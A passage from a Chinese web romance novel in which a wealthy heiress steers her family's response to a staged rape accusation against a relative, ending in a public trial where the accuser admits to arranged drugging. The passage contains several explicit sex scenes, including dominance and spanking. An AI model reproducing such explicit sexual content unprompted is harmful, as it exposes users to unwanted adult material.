她想半天,都意不达词,说不出最后一句。 宁商羽见林稚水实在憋不出,连耳根至脖侧都开始通红,他眼底还是漆黑到不能分辨半点儿情绪,低头,隔着鼻尖相对的距离说:“你近三年的身体报告单非常健康,除了味觉修复测试始终卡在八十五分,其余,都跟正常人一样。” 林稚水听懵了瞬,“是吗?” “你在我身边,不会出任何事。”宁商羽在深夜里显得低而清晰的嗓音,只为了告知她这点。 林稚水被提醒这具看似孱弱的身体,其实很健康,本该是一件开心的事,可想到宁商羽还能心平气和说这些,就更纳闷了。 她被这番有理有据的话干沉默了…… 宁商羽也不是会委屈自己的人,本来上楼找她就是为了履行夫妻夜间的义务,进书房时,西装裤的黑色轮廓就十分惊人了。 紧接着,林稚水反应慢了半响,被他继续扣住手腕起来了。 …… 宁商羽今晚格外危险而令人畏惧,哪怕连亲密,都给林稚水传递了一种说不出的感觉,他的地点,选在这张黑丝绒的大床上没换。 但是她纤细后背对着他宽阔胸膛,彼此都看不清眼神。 宁商羽臂力惊人也将肌肉都绷得极紧,托着她又放下,在昏暗光影的室内里,那股从骨髓里透出的冷杉味道愈发浓郁,呼吸到的都是。 而林稚水不知道时间还在前半夜,还是后半夜……他连窗帘都紧闭得严丝合缝,一丝光亮都不让透露,偶尔,又会耐心地开始把她连绵而滚烫的吻到流出水。 直到林稚水开始仰躺在床沿前,雪白伶仃的脚踝从他宽肩不慎滑下,无意间碰倒了床头柜的玻璃水杯。 砰的一声巨响,猝不及防地,让她猛地打了个惊颤。 宁商羽极具力量的绷紧了,又过片刻,一点点松解下来。 都结束了。 林稚水眨了眨水漉漉的睫毛,下意识去看地板上被摔碎的玻璃杯淌下的一大片波光粼粼的浓稠又透明水迹,失了会神智,还处于恍恍惚惚的晕眩状态里。 以至于宁商羽都游刃有余捡起床尾的衬衫,将水迹擦拭去。 林稚水还直勾勾盯着,完全不知道自己在想什么。 甚至手机倏地响了,就只响了一声,身体又是比脑子快,抬起手拿来接听,都没看到底是谁的:“喂?” “出事了。”奚宴话刚起个头,突然意识到是林稚水的声音,又顿了顿:“宁总在吗?” 林稚水被前三个字给震清醒,指尖快速划过免提,说:“在身边,你说吧。” 如果没真出事端,以奚宴灵敏谨慎的性子,绝不可能深夜没眼色打扰宁商羽睡眠。 毕竟是自己的秘书,宁商羽同样也清楚,将手机拿了过来,溢出喉咙的嗓音冷静到完全不像是刚刚结束了一场非常激烈的夜间运动:“什么事?” 林稚水怕他转身就往外走不让听,身子犹如白雪覆盖了过来,她往宁商羽不可撼动似的胸膛贴,彼此都还没清洁,又腻在了一处。 宁商羽低眸,看了看她写满求知欲的红润脸蛋,手臂已然抱住,一边迈步往浴室走,一边听奚宴快速汇报情况。 奚宴说,凌晨三点半,裴观若在酒店套房报警告宁惟羽强奸! 灯亮起瞬间,四周的空气凝固了两秒。 宁商羽锋利俊美的眉骨随之皱起,紧接着,他面色恢复如常,下一刻先把同样听得震惊无比的林稚水放在浴缸里,又对奚宴道:“我知道了。” 他挂了电话。 林稚水还没听到后续和来龙去脉,指尖下意识抓紧他修长冷白的腕骨:“你怎么不让奚宴说完。” 宁商羽开始不紧不慢地往浴缸注热水,又低着头看了她很久,轻描淡写地反问:“你觉得呢?” 林稚水从脚踝开始被温柔的水波漫过,才回味过来宁商羽是属狮子的霸道得不行,怎么可能会允许她洗澡的动静传出去。 她松了手,任由宁商羽做事后的清洁服务,不过又没忍住说:“裴观若多半是被裴家要求的,被威胁了。” 显而易见,裴家以为扳倒宁惟羽,让宁氏家族在国际上陷入一段时间性丑闻纠纷,就可以轻松坐稳谈判桌的一席之地。 宁商羽冷漠道:“宁惟羽也该吃点教训。” 筹谋了这么多年妄想夺权,却这么轻易就被美人计下套。宁商羽也就刹那间的意外之后,剩下的,林稚水想,如果宁惟羽如今还是自由身,而不是被捕的话,都得被他狠狠出手教训一顿。 现在大局还是得宁商羽出面主持。 等天光微亮,老宅那边派出了老管家过来一趟,算是之前卧床后就一病不起的宁徽诏主动对亲孙子的示弱。 林稚水没下楼,而是抱着膝盖在楼梯安静坐着听了会儿。 宁徽诏传达的意思有两个。 一是,舟隆港口的项目收购计划不能中断。 二是,尽量保住宁惟羽的身份。 …… 林稚水没继续听下去,慢吞吞站起来往楼上走,她很清楚宁商羽在收割宁徽诏退隐后手上的剩下权力,这场祖孙二人的较量,不是旁人能左右的。 而回到主卧后,那张床还没整理,凌乱又湿得都是两人的味道。 林稚水好不容易洗干净,自然不会又去沾一身,选择在沙发坐下,若有所思的拿起手机,指尖在屏幕上转悠了两圈,最终给裴观若拨打了电话。 她没猜错的话,裴观若千里迢迢来泗城设局,身边多半有人全程监视行动,见一面恐怕是不能了。 等电话接通。 还不等林稚水开口。 裴观若已然猜到她的心思,也不管身处在医院病房,还被裴家收买的护士盯着,便先出声,音轻到一阵雾就能散:“我知道,你想劝我回头,我回不了,还有一个小时,全世界的人都会知道宁氏家族的二房长子宁惟羽见色起意的强了裴家私生女,这就是我的选择。” “观若。”林稚水提醒她:“宁惟羽让家族声誉受损,却始终有人护,顶多是失权,而你牺牲清白,让他在道德层面上备受外界争议,将会面临什么,你知道吗?” 裴观若轻声重复:“没关系的。” 裴家也遵循约定,把她母亲好生关在了那栋后院的阁楼里,没有吊在港口,她只要咬死宁惟羽有罪一天,裴胤就不敢轻举妄动。 林稚水听出她有她的执念,静了静。 这通电话,谁也没主动挂断。 裴观若很清楚,挂了,天亮之后,她和林稚水的关系会发生天翻地覆的变化,被命运,无情地推到了对立方。 而她千言万语,只能融成无比羞愧的歉意:“稚水,很抱歉让你失望了。” “你有什么……对宁惟羽说的吗?”林稚水不太清楚这两人之间有没有情,还是多问了一句,“我可以替你转达。” 裴观若表情很冷冷清清,声音也是:“没有。” 契约关系,两不相欠。 宁惟羽要是恨的话,可以等从被审判席下来后,用一万种方式让她生不如死,但是,现在她对这个暂短拥有过露水关系的男人,没什么好说的。 十分钟后。 裴观若那边被护士严格监视,通话的时间也无法太漫长,只能挂了。 林稚水起身重新下楼,这会儿老管家已经离开,她看到客厅里的宁商羽靠在沙发上,便走过去,往他大腿上坐:“看来,你这盘棋要重新下了。” 宁商羽沿着她衣领透出的那股花香气息,看向她这张怜悯平静的脸蛋。 林稚水问:“需要我陪你下吗?” 60-70 第61章 宁商羽没有第一时间回答她。 倏地,手掌笼罩住她的后脑勺压下,沉静的琥珀眼直视她的任何表情,继而,从唇沿开始深吻了进来,一次比一次吻得重,这股鼻息交错的极致亲昵感觉,让林稚水的心脏仿佛被牵动着…… 无法躲避开这股要命的,互相吸引力。 等松开的瞬间,宁商羽的手掌也顺着移至后腰,带着她身体从沙发下来,又无声地让她跪在了地毯上。 林稚水始终被那股强烈又熟悉的压迫感圈着,当裙下白皙的膝盖贴着地毯,腰也自动抵着柔软蓬松的沙发边缘,而看不到的背后,是宁商羽胸膛。 他低首,先是用高挺精致的鼻梁在嗅着她后脖的香气:“你知道自己在说什么吗?” 突如其来的一句,林稚水的专注力就瞬间偏移到了话题上,声音很轻:“我知道,你要把宁氏家族徽名遍布整个太平洋的航运图上,这是你接班后第一个重大商业策略,舟隆港口只是开胃小菜而已,你要独吞……” 林稚水的音断了几秒,是因宁商羽犹如猛兽嗅完想要标记的领地后,朝她后脖那块白嫩无比的皮肤,用牙齿咬住。 那股浓烈的冷杉气息四溢于彼此间。 宁商羽是个高控制倾向的顶级掠食者,不会允许一切脱离他权力统治下的掌控。按照他重利轻子的棋盘布局,林稚水用所知的内幕机密推理出了一些…… 宁商羽是要以个人名义去收购港口,彻底淡化宁徽诏在老宅崇高的地位和威严,而他不止独吞一个,也就意味着他的财富不可估量,会在这场权力博弈的游戏里,都倾注在这条他亲手打造出的航运图生态链上。 林稚水还推理出,裴家的百年基业也是他的囊中之物。 “这场博弈……你押注的筹码太重了。”林稚水呼吸越来越急,膝盖几乎快跪不稳,侧过脸,眼神流露出了脆弱无声地求着他动作别太重,又往下轻轻地说:“你要赢,要让依附老爷子而生的家族们对你这个新任接班人彻底的俯首称臣……宁惟羽只是其中一枚棋子,他狼子野心想夺权,跟你继续分庭抗礼的争,利用自己私生子的身份去博老爷子心软,你不在乎。” 宁商羽耐心等她说完,嘴角倒是勾起弧度,从后脖,一点点地吻到那柔软的喉骨,“继续说。” 林稚水的声音是从这儿慢慢出来的,还未溢出接触到空气,好似能被他感知着。 宁商羽对她的霸道在这刻达到前所未有的高度。 任由她绵软无力的趴在宽大的沙发上,露着背,雪白的腕间就这么搭着,而他,精准地找到那个最契合的姿势。 好几次,在她光泽柔润的丝绸裙子如水融掉他黑色西装裤的凌厉时……宁商羽腰腹充满极强的爆发力,只想往最深处去。 林稚水隔了很长时间,才重新获得了说话的一丝丝力气,嗓子是哑的:“你不在乎宁惟羽,老爷子念及养育的祖孙情,想保他的身份……商羽,我想跟你一起下这盘棋。” 她湿了的睫毛抬起去看向宁商羽,清透眼神聚焦到了他俊美锋利的面容上,说:“你有你的大局,宁惟羽还不够资格让你出面……这个案子,需要一位名正言顺的宁家人公开现身主持,我可以。” “请你信任我。”林稚水声音很弱又透着坚定,很快又被其他的巨大声音给彻底淹没,她唇齿间一直含着这句话。 等快哭出来时,宁商羽才俯首,眼底弥漫着更深的寂静去注视着这个无比脆弱娇弱的女孩儿。 从初见她对这个弱肉强食世界的警惕性就一直停留在象牙塔里,如今,长大了不少,却还是保留着一颗犹如琉璃内外明澈的怜悯心肠。 落地窗外的日光逐渐在云层攀升而起,落在彼此间,宁商羽过半响,才将手掌极其缓慢地在她身体离开,起来逆着光,面容的神色被照得变幻莫测。 林稚水腰上的裙摆没了阻碍也在顷刻间,重新垂坠回了脚踝处,他没纾解,所以四下都是凌乱又干净的,唯有她腿,残留过一些还没干涸的痕迹。 她没法跟着起来,过几秒,还得宁商羽来抱,从地毯到楼上,两人之间隔着紧贴的胸膛,好似两颗心脏的跳动声也重复在了一起。 林稚水的眉心被日光映得妩媚,盈盈望他:“商羽。” 她的眼透露出的情意是纯粹到一目了然的,攀着他的脖子不放:“答应我吧。” 宁商羽迈步走到浴室,把她抱到华美的大理石质地台上,去拿洁白毛巾,一手同时将她长裙掀起,柔软的布料有着他灼热的温度,半响才说道:“你有什么事,可以直接交代宁濯羽去做。” 派一个弟弟辅助,这是答应的意思了。 林稚水的笑意从眼尾透出来,流转到了唇角,等被擦拭干净,又主动抬起白皙膝盖,去勾住他,明晃晃撒娇似的说:“刚才在客厅……” “嗯?” “好几次都顶到我肚子了。” “你不爽?” 宁商羽太直白了,林稚水脸颊红了起来,又心想,陷入爱河的少女就是这般禁不住,但是谁让她的三魂七魄如今都被这男人霸占着,于是,坐姿稍微朝倾,将下巴搁在他的胸膛上:“爽呢,你这两次,都从我背后来……唔,怎么说呢,我更喜欢面对面,能看到你的眼睛。” 她很早就发现,宁商羽摄人的瞳孔时常会呈现一种很像是琥珀熔化而成的鎏金色泽,被他盯着,那种感觉就犹如烈焰坠湖面,林稚水会不自觉溅出清澈的水。 压根不需要宁商羽有任何动作,一个眼神,她的心就因此沸腾了。 林稚水一向是很爱表达自己的想法和喜怒哀乐情绪,所以她语气轻轻却明确告诉宁商羽:“下次你再顶我肚子的时候,请记住,正面来。” 宁商羽虽没开口,胸膛的心脏处位置被她柔软脸蛋依偎着,强有力的心跳隐藏不了他情绪,逐渐地,连带眼底也褪了淡漠情绪:“嗯。” 林稚水尊重他反常的一面,也没在此事上纠缠问个没完没了,问为什么突然要从后面来,不让她去看他眼神。 她脑子里琢磨到的是,宁商羽再怎么满身满骨的权力欲,但是心脏是肉长起来的,老宅那边,宁徽诏是把天大的权柄给了他继承,却把爱,给了宁惟羽。 宁商羽真不在乎吗? 林稚水觉得他不要,和别人不给,是两码事。 无论宁徽诏的上位者观念里,有没有潜意识觉得家族接班人是不需要情爱来牵绊的,但是他厚此薄彼的给予行为,对宁商羽就是不太公平。 从懂事开始,林稚水还在家中,就经历过盛明璎是如何分配她和姐姐之间资源的。 盛明璎从不会因为她是弱小病弱的遗腹子,一出生就没有享受过一天的父亲保护,以及失去健康和自由,就毫无底线的偏袒她。 林曦光是姐姐,失去疼爱自己多年的父亲,也会痛苦,也需要爱的。 盛明璎教育过还很年幼时期的她,“你是一个很棒的小孩,跟你姐姐各有长处,不要觉得自己很可怜,也不要羡慕姐姐的强大。” …… 林稚水从不觉得自己可怜,也不会去可怜宁商羽。 她只是爱他,从而,不掺杂任何利益算计,发自内心地,想为他奉献出自己的力量。 同时林稚水也很清楚,宁商羽是典型的顶级商人主义战略,自然是重利轻子,他来处理宁惟羽被算计下套的事,是绝对,不会对裴观若的处境生出怜悯之心。 由她来,至少在不损害宁家利益的范围之内。 林稚水想给以身入局的裴观若留一条后路。 当天,裴观若报案一事就在国际媒体界不胫而走,掀起了爆炸性的风波,她向外界公布的证据非常充足,而这份证据,也在下午整理到了林稚水的书桌上。 光线明亮的宽敞书房内。 宁濯羽在对面的扶手椅上翘着二郎腿坐着,修长手指转着钢笔,等她看完,才腔调拖着慵懒意味道:“裴德义那老东西下午要哭哭啼啼开记者招待会,公开审判宁惟羽的罪行……” 林稚水先没吭声,指尖轻划平板的证据,从视频到照片,又点开裴观若满身是伤的坐在医院病床上,面对记者采访时说的话。 她说,自己被宁惟羽以两家合作谈论收购港口项目的借口,骗到了酒店。 有了为什么配合进酒店套房的合理解释,裴观若又说,进去后,宁惟羽避之不谈合作,开始对她用强…… 林稚水暂停视频,点开一些特写镜头的照片,是裴观若报警后,以受害者的身份被抢救到了医院治疗,从而,暴露了身体皮肤表层触目惊心的掐痕和道道齿痕,以及,护士从她身体里,取出了一枚宁惟羽随身佩戴的银色指环。 加上酒店那张双人床上残留着两人未被销毁的证据。 人证物证俱全,作案动机也有了……裴家处心积虑冲着把宁惟羽拉下谈判桌目标去,所以回应外界议论纷纷的猜测,坚持要告到底,要求宁氏家族派一个代表人物出来,公开认错道歉。 因此,宁濯羽挑眉,对低垂侧脸又很平静的林稚水说:“你要明面上斗不过那老东西,我可不奉陪你道歉啊。” 他傲慢至极,可是一向出现在“政治经济” 板块新闻的,哪能跑到桃色丑闻里站着,替人鞠躬道歉。 林稚水抬眼,“裴胤想打舆论战,那我们就奉陪到底,鹿死谁手还不一定。” 她让宁濯羽安排律师发一则回应案件的声明,私下,却安排起了另一位闲的没事又爱叽叽歪歪八卦的宁舒羽,去找些媒体给裴胤伟大慈父形象添油加醋的歌颂一番。 宁舒羽在酒囊饭袋的富家子弟圈里人缘极好,说白了,这群人除了对家族没有丝毫个人建树外,在外面,什么门门道道的都混上点儿。 宁舒羽就跟个热情洋溢的小喇叭花似的,听林稚水吩咐,先是把裴胤往慈父上抬,继而,又开始爆裴家养育私生子女最终目的各种黑料。 到底是宁惟羽对裴观若见色起意。 还是裴胤假仁假义爱孩子,却利欲熏心利用私生女去设局算计权贵。 一时间,这件事沦为了圈里圈外众人津津乐道的谈资。 裴胤身为精明贪婪的商业巨擘,很快察觉到舆论的风头不对劲,明明论的是宁氏家族深陷性丑闻一事,怎么变成了裴家站在漩涡中心被审判上了私德品行。 他随即暗中调查出,整件事是林稚水在幕后推波助澜的手笔。 而林稚水,这个被裴胤轻视小瞧了的当家主母。 隔日,就公开里面对媒体表示:她无权批判谁有罪,相信坐拥三妻四妾私生子女一大堆的裴胤先生也一样,在案件没水落石出之前,宁惟羽无罪。 一句宁惟羽无罪,推翻了裴家屡次公开抛出证据越过打官司的合法流程,直接盖章宁惟羽有罪论。 舆论战直接熄火。 裴胤很清楚。 他继续曝光一条证据,林稚水就敢学以致用跟着曝光一条他“救风尘”的情史。 短短三日,林稚水公开跟深城裴家对上,这件事都沸沸扬扬的传到了港区地界,众人惊讶又好奇,没想到林家多年来这个闭门不出的小女儿,也不是真吃斋念佛长大的。 她非常擅长一报还一报的学习方式,裴胤稍有不慎,就会把这场火往裴家烧,以至于直接要求案子公开审理,与能言善辩的林稚水上法院见真理。 …… “案子公开审理,这老东西,是一点体面都不留给自己女儿。”宁濯羽又来到住处,把最新的消息跟她汇报。 林稚水肩膀裹着垂地的羊毛毯子站在落地窗前晒太阳,转而到了深秋季节,天气一冷,她就喜欢站在有光的地方,许久,开口说:“这场官司要打,就绕不开裴观若。” 裴观若上法院指控宁惟羽,这跟屈辱性质的脱衣示众没什么区别。 但是她坚持不回头。 林稚水在私下已经彻底联系不上她,事到如今,只能断掉这层情分,二人之间关系倘若被裴胤得知加以利用,只会更害了她。 林稚水这回,是感同身受到为什么主掌大局者都要心思难测,不能被旁人嗅觉敏锐地察觉出分毫。 她甚至连在律师面前都不能透露出一丝对裴观若的心慈手软,要端着冷漠的美丽面具,事事都一切以宁氏这个家族利益为先。 跟宁濯羽谈完,外面夕阳的余晖也淡到没影了。 林稚水又安静坐在沙发上梳理了下,直到气氛格外安静书房的门再度被打开,脑海中的思绪才戛然而止。 她看是宁商羽回来了,便主动从羊毛毯爬出来,伸手要他抱。 都深秋了,宁商羽的西装料子还是很薄,体温倒是一如既往的滚烫,手臂稳稳地伸来把她抱起,“濯羽刚走不久?” 虽放权给林稚水来处理这场官司,但是她每日的一举一动,都在他监视里。 林稚水点头,见被抱着下楼吃晚餐,其实没什么胃口,抿抿唇说:“是呢,他腿长走的快,不然可以留他陪你吃饭。” “这样你就不用陪了?”宁商羽替她把潜台词说出来了,继而,抱着人,走进灯火璀璨的餐厅后,坐到了主位椅子上。 管家精心安排的丰盛晚餐都是照着林稚水港区地域口味来的,每一道菜色香味全,却激不起林稚水什么胃口。 她就跟小孩子偶尔会厌食一样,坐着垂手不动。 宁商羽指腹,在她脸蛋捏了捏,皮肤嫩到任何一点擦刮都特别明显,何况是他力道,下秒,就迅速地红了起来,“吃饭。” “太热了,会烫伤我舌头的。”林稚水借口诸多,还下地,往他的膝盖上爬,透着浓郁香甜的气息,俯耳小声说:“要不你先帮我吹凉?” 宁商羽突然又捏了她一下,这次不是脸了,况且他食指和中指都带了金属质地的指环,极具危险意味擦过时,惊得她颤巍巍的。 他说:“这心口的杂事太多,要我帮你疏通一下么?” 林稚水承认自己近日为了案子是有点儿废寝忘食,主要是脑子专注想着,就很容易忘我起来。 她觉得宁商羽这种地位的,应该能体谅她心境才是。 怎料宁商羽过强的控制欲已经延伸到了她的精神世界,占着她身,还要占她的胃,少吃一口饭一粒米都要引来他的惩罚。 林稚水很久没领教过打屁股了。 今晚不乖乖吃饭,又恰好在他腿上,简直是天真无邪的送上他手掌心。 被换了个背朝天花板的姿势压制住,随着几道无情的巴掌声,到最后,林稚水像一只被雨淋湿的弱小羊羔,气急了,就拿柔软脑袋去撞他裹在高级西装里的腹肌:“晚上我也要打你巴掌。” 很快,她又改口:“打小老公巴掌。” 宁商羽语调极慢的学她称呼,反问:“小老公犯了什么错,你要打它?” “总是耀武扬威的折腾我肚子,很不听话。”林稚水漆黑得透亮的眼珠盯着他,继而,恰好是趴着离他西装很近,报复性地张嘴巴,隔着丝绸的薄料子,去嗷呜的咬了一口。 那惊人的轮廓本身就非常危险,特别是一见到她,就更巨大。 林稚水拿出平时吃奶油蛋糕的架势,刚咬,而宁商羽竟非常有容人之度的配合,修长两指她细白的后颈倏地提起来,随着拉链声落地…… 宁商羽身姿几分慵懒地靠着椅背,又摁下她,气氛寂静又宽敞明亮的餐厅里,没有别的声音,偶尔林稚水吞咽时,才会发出一丝软软的细小尾音。 她吃掉了奶油蛋糕,还有最上面唯一的深红色樱桃,唇角出沾着残留的东西。 “现在吃饱了?”宁商羽长指固定住林稚水的下巴尖,用纸巾,耐心地擦拭去她被弄花的漂亮脸蛋儿,恰好眼尾痣上也被点缀了一滴,动作略停半秒,转而用指腹不轻不重的揉去。 林稚水格外无辜睁着眼睛,先是深吸了一口久违的新鲜空气,下意识地抿了抿红得过头的舌尖,这下真是吃过,都可以不用吃晚饭了。 她突然闹情绪不说话了,看了眼宁商羽,主动回自己椅子,又垂下脑袋,慢吞吞地抬手把摆在面前的汤喝了。 咽下后,顺带稀释了宁商羽的味道。 第62章 林稚水开庭前见了宁惟羽一面,在暗无天光的拘留室里,他修长手腕被铐,倚靠在椅子上,背对着很小的窗口,凌乱的黑发稍长挡住了压低的脸庞,隐约露出挺拔鼻梁和一小段苍白冰冷的下颌线。 林稚水踩着细高跟走过去,二话不说,干净利落地先给了他一巴掌,陡然间,几道鲜红指印清晰地浮了起来。 宁惟羽侧脸略歪了歪,还是那副隐忍不发的状态。 林稚水打得狠,在寂静空旷的气氛里显得格外响亮,随即,拉开一把椅子坐下,启唇的语气平静,吩咐跟随身后的宁濯羽和宁赐羽把他仪容仪表整理妥当,别在媒体面前失了宁氏家族的体面。 宁赐羽向来有白骑士病症在身上,预备的一切崭新用品和衣物都熨烫完美,他给宁惟羽挑了件版型挺括的黑衬衣和西装,料子没太薄,很亲切道:“监狱里凉,穿厚点别冻着了。” 宁濯羽可没他这样“嘘寒问暖”,长指有力拧开一次性刮胡刀时,语调拉长:“恭喜啊,这场官司要是输了,你可是荣登家族艳史第一人。” 宁惟羽掀起眼皮,瞳孔被环境反衬得黑森森的,始终靠在椅上看着他们。 宁商羽从未现身。 开庭前一个小时,天空暴雨忽至,这场公开审理的顶级豪门强奸案是国际性质的重磅新闻,无论哪家媒体都争相报道第一手消息,与此同时,也登上了各大城市的显示屏上网络直播着。 代表宁氏家族的成员们一出场,就迅速地引来大众蜂拥的关注。 在镜头里。 众人皆黑,唯有林稚水一身白色刺绣长裙站在最中央,随着黑伞往上抬,雨滴在边沿连缀成透明的珠帘,逐渐露出她那张平静的脸,美到宛若羊脂白玉般莹润生辉。 无一记者敢过度靠近。 比起这场毁天灭地的暴雨,她身后站着十几位西装革履的高大身形男人,衣领处都佩戴着雕刻族徽的烈日宝石胸针,散发出一股锋芒毕露的气势无形地压迫着喧闹又密集的人群四周。 而这幕,也犹如电影画面,被无数媒体镜头定格。 林稚水裙摆下的黑底高跟鞋率先走上法院的大理石台阶,接近门口时,倏地,现场乌泱泱的媒体人群再度掀起一阵暗潮汹涌的躁动。 她回过头,看到裴胤带着一大帮人浩浩荡荡地公开亮相了。 而隔着长枪大炮的闪光灯和距离,林稚水微微垂下眼眸的注意到裴观若扶着车门下来后,犹如孤零零一人站在暴雨里,几乎是同一秒,两人视线交汇,转瞬又在明暗光影的黑色世界里错开。 …… “我要去卫生间。” 裴胤还在记者媒体镜头前颠倒黑白地强辩时,裴观若先进法院,前往候审室途中,她脚步一顿,突然冒出这句。 负责监视她的三房私生子裴文滨皱起眉头:“你想做什么?最好安分点,别耍心机让父亲动怒。” 裴观若语气温柔:“文滨,你现在拦着不让我去,等开庭时我只能向法官提出这个请求,你也不想吧?” 裴文滨略一沉吟,继而冷声警告:“我只给你十分钟。” “十分钟不够。”裴观若自嘲地抿了抿淡色唇角,“二十分钟,放心,你派五个保镖盯紧我,我凭空消失不了。” 话音落地。 裴观若直接转过身,往没有闲杂人等经过的右侧长廊走去,穿过拐角,在环境幽静的尽头看到了指示牌,裙摆的脚步未停,每走一步,在头顶白炽灯的雪亮光芒下,紧跟其后倒映在墙壁前的保镖身影,就无声地倒下一个。 直到她视野里,望见坐在长椅上静静观赏窗口雨幕的林稚水,四周终于干净了,被宁氏家族的保镖训练有素出手击晕的障碍物,都被清理到了角落里。 气氛寂静中,林稚水眸光似水看向她,“还好吗?” 裴观若今日出庭也穿一身雪白,被关着许久没见阳光缘故,整个人显得清瘦病态不少,连那张艳若桃李的脸也没什么正常血色。 她慢慢地,走到长椅另一端坐下,片刻才回答:“还行,裴胤想赢还得靠我配合,不敢让我真出什么意外。” “你可以不配合。”林稚水心知私下会面的时间紧迫,也没跟她拐弯抹角叙旧,说:“观若,你执意要将宁惟羽送上被审判席上的代价太大了,不止是失去清白,你甚至会沦为这场政治战争的牺牲品被逐出豪门,失去一席立足之地。” 她画廊事业毁于一旦,苦心经营多年的人脉关系网都会被切断,不会再有她这一号人物。 林稚水说:“宁惟羽很受老宅器重,宁家不会饶过你的。” 如果不处置裴观若,对外界,相当于是默许了任何人都能来算计宁氏家族成员。 裴观若看着她,彼此对视着。 “开庭时你可以保持沉默。”林稚水音色轻轻慢慢, “我会让律师将这场官司定义成你和宁惟羽正在自由恋爱产生的情感矛盾,只要你熬过去,我可以保证,裴胤很快就自顾不暇了……” 裴观若心思敏锐捕捉到她字里行间的暗示,眸光微闪了闪:“稚水。” 林稚水点到为止,两人纵然坐在一张椅子上,可犹如隔着云端和淤泥的遥远距离。 她是想给身不由己的裴观若机会,但是宁商羽更重要,他极具野心勃勃的商业布局不能有任何意外闪失。 这点,裴观若也心如明镜,充满感激之外,她却摇了摇头:“我从一开始就很清楚被裴家当弃棋去控告宁惟羽要付出什么,我做出选择了,就应该承受代价。” 林稚水表情没有意外情绪,平平静静的。 裴观若睫毛半掩,眼底呈现无声无息的苦楚之后,也很好掩饰了起来。 时间一分一秒地流逝,最后,她从椅子站起,离开之前,又对依旧纹丝不动坐着的林稚水说:“我很幸运是你来代表宁氏接管这件事,宁太太,开庭在即,恳请你念及情分,一定不要对我心慈手软。” “好。”林稚水答应她,又说:“裴小姐,你可以提一个心愿,我会尽所能满足你。” “有朝一日……”裴观若的声音在走廊空间里,更轻几度,“裴家能像我日日夜夜无比期盼的那样下场,我希望,你可以安置好我母亲后半生的普通生活。” 林稚水轻轻点头。 窗口外的雨幕已经渐小,裴观若心知不能继续久留下去,刚转身走了两步,又突然停顿了几秒,回头看了眼林稚水那双充满悲悯的美丽眼睛,没有犹豫地轻轻落了一句:“在法庭上,你可以问我一个问题,我会回答你。” 二十分钟已过。 裴观若佯装什么都没发生地独自回到候审室,那五名监视她举动的保镖却不见踪影,裴文滨当着父亲的面,敢怒不敢言。 开庭时间到了。 众人都坐在属于自己的席位上,能被允许进场的媒体记者在扎堆在周围高举着顶级的高清摄像设备。 裴观若在原告席安静坐着。 一分钟后,被指控的宁惟羽终于现身,他一身全套黑色西装,打着领带,俊漠的面容和袖口露出的被拷腕骨都有种灯光无法渲染的冷白色调。 在场无数人,宁惟羽眼神很深,精准地只盯着她,没有移开过。 那晚上,裴观若用眼泪捕获了他,给他看身上的伤,像受惊的无辜小白兔般口口声声称被裴家逼着上了另一个男人的床,遭受了接连几日的残暴虐待。 她柔弱的哭泣声,让宁惟羽莫名的保护欲疯狂激上心头。 他想杀了,那个染指了她的陌生男人。 后来裴观若就动手撕碎了自己的衣裙,跌跌撞撞的跑到浴室去,拧开了浴缸的金属水龙头,拼命地用力清洗那些触目惊心的伤疤,仿佛洗干净了,一切都不复存在。 不多时,宁惟羽迈进浴缸里用臂膀紧紧抱住了她发抖的冰冷身体,用指腹,无比轻柔的擦拭去她泪痕:“没关系的,我不在乎这个,观若,以后你就留在我身边。” “我在乎。”裴观若在他温热的怀抱里痛哭,一直绝望的哭:“宁惟羽,我出身不清白,我只想想清清白白跟你在一起,是我没有保护好自己,对不对,对不起。” 她重复说了太多对不起,到最后,又主动吻住了宁惟羽,求他,要了自己。 宁惟羽想拿酒店备用的避孕用品,她也不让,想让他的温度和液体,彻底洗去另一个男人的存在。 中途,裴观若又开始掐住自己的咽喉,想就此毁掉自己。 宁惟羽只能用领带把她手腕捆绑在床头,继而,又用疯狂做的方式,让她这具快碎掉的身体获得安全感。 裴观若要他证明。 她要宁惟羽亲自用掐痕或是齿痕,去冲洗掉她身上的伤,最后,又要他把无名指上的银色指环,放进去。 她说,只有宁惟羽的东西,才能有资格深深嵌入她的魂魄。 …… 一切都是演的。 宁惟羽重新再见到裴观若,领教过她的唇舌是最软的,心肠也是最狠的,一时弧度淡而薄的嘴唇扯出冷笑,笑自己筹谋篡位多年,竟在紧要关头着了她的道。 而比起宁惟羽肩宽腿长的傲慢姿态坐在被审判席上,毫不避讳着直播镜头。 裴观若垂眼始终都没有再看他一秒,哪怕隔空感知着那股充满凶狠的视线一直压迫着她神经。 律师正在一轮又一轮的提问。 她坐在原告席上,哪怕脂粉未涂的脸是素净的,却犹如一桩性丑闻那样香艳,被无数人盯着,被言辞犀利地盘问着细枝末节。 宁氏家族为宁惟羽无罪辩护,自然是有滴水不漏的充足准备。 随即,便向法院提供了非常全面的两人你情我愿的恋爱证据,有各种场合下的亲密互动,包括在报案的那家酒店不止一次开过房,以及人证。 林稚水将裴观若如何主动接近宁惟羽的证据链全部收集在册,呈给法庭后,而裴家律师便主攻她被虐待一身伤,来证明至少那晚并非自愿。 随即,宁氏家族又呈上了一些裴观若在万露的店购买记录。 裴胤顿时脸色阴沉的厉害,连坐在旁边的裴文滨也察觉到这局势对裴家不妙……这怎么辩?总不能说,裴观若是被权势滔天的宁惟羽逼着学这类活色生香的猎奇技术吧?! 随着双方律师剑拔弩张的僵持起来,现场的众人也逐渐交头接耳着。 林稚水缓缓站了起来,她轮廓精美的脸和浅白的流苏耳饰映衬着,唇角微笑平和:“裴观若小姐,请问你那晚,是否有在酒店里给宁惟羽下了药?” 裴胤猛地抬起头,正欲张口。 裴观若身体静静定格在原位,丝毫没有半点被公开质疑使用了心机手段的应激情绪,在裴胤之前,先盯着林稚水那双明澈剔透的眼睛,齿间吐露出一个字:“有。” 这句有,犹如是平静无波澜的水面上击落了一个碎石子,溅起无数回响。 哪怕宁氏家族这边阵营的人都暗地里震惊了起来,离林稚水最近的宁濯羽更是快速翻了下档案,又左手握拳低咳,压低音量问:“怎么还有下药这一出,调查的资料上怎么没有?” 林稚水重新坐回,姿态端庄,哪怕侧眸回答他,也是佯装不经意间一个抬起纤细极美的手指动作,轻轻挡住唇,才说:“临场发挥的。” 这是她跟裴观若默契打成的共识。 毕竟裴胤那晚又没真在现场,在宁氏占上风的局势里,只要裴观若咬紧牙关说有就是有,甚至还可以谎称宁家有这个证据,就算不承认也没用。 而林稚水之所以跟宁濯羽坦白,是把他当人证用了,等宁家开始清算时,可以借此,渡裴观若逃过一劫。 媒体数道镜头一直高清对准着林稚水。 